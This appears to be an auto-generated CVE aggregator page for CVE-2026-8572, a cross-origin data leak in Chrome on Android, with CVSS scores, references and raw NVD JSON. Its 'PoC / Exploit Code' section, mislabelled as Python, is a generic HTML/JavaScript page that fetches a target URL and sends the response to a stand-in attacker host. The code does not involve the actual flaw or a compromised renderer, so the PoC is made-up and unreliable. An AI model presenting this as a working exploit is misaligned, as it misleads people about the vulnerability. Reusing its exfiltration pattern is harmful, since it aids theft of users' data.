CVE-2026-8572

Description

Insufficient policy enforcement in Network in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

3.1

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome on Android < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- 
  PoC for CVE-2026-8572 (Conceptual)
  This script demonstrates a potential method to leak cross-origin data
  assuming the renderer process is compromised and policy enforcement is weak.
-->
<!DOCTYPE html>
<html>
<head><title>CVE-2026-8572 PoC</title></head>
<body>
<script>
  // Attempt to fetch sensitive data from a target origin
  // In a vulnerable version, this might bypass CORS checks if renderer is compromised
  const targetUrl = 'https://target-site.com/sensitive-data.json';
  
  fetch(targetUrl)
    .then(response => response.text())
    .then(data => {
      // Exfiltrate data to attacker's server
      fetch('https://attacker-controlled.com/log?q=' + encodeURIComponent(data));
      console.log('Data leaked:', data);
    })
    .catch(err => console.log('Exploit failed or patched:', err));
</script>
<p>Checking for cross-origin data leak...</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8572
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8572
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8572/
[4] VulDB https://vuldb.com/cve/CVE-2026-8572
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/495405493

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8572", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:19.493", "lastModified": "2026-05-15T15:16:55.730", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient policy enforcement in Network in Google Chrome on Android prior to 148.0.7778.168 allowed a remote attacker who had compromised the renderer process to leak cross-origin data via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:N", "baseScore": 3.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/495405493", "source": "[email protected]"}]}}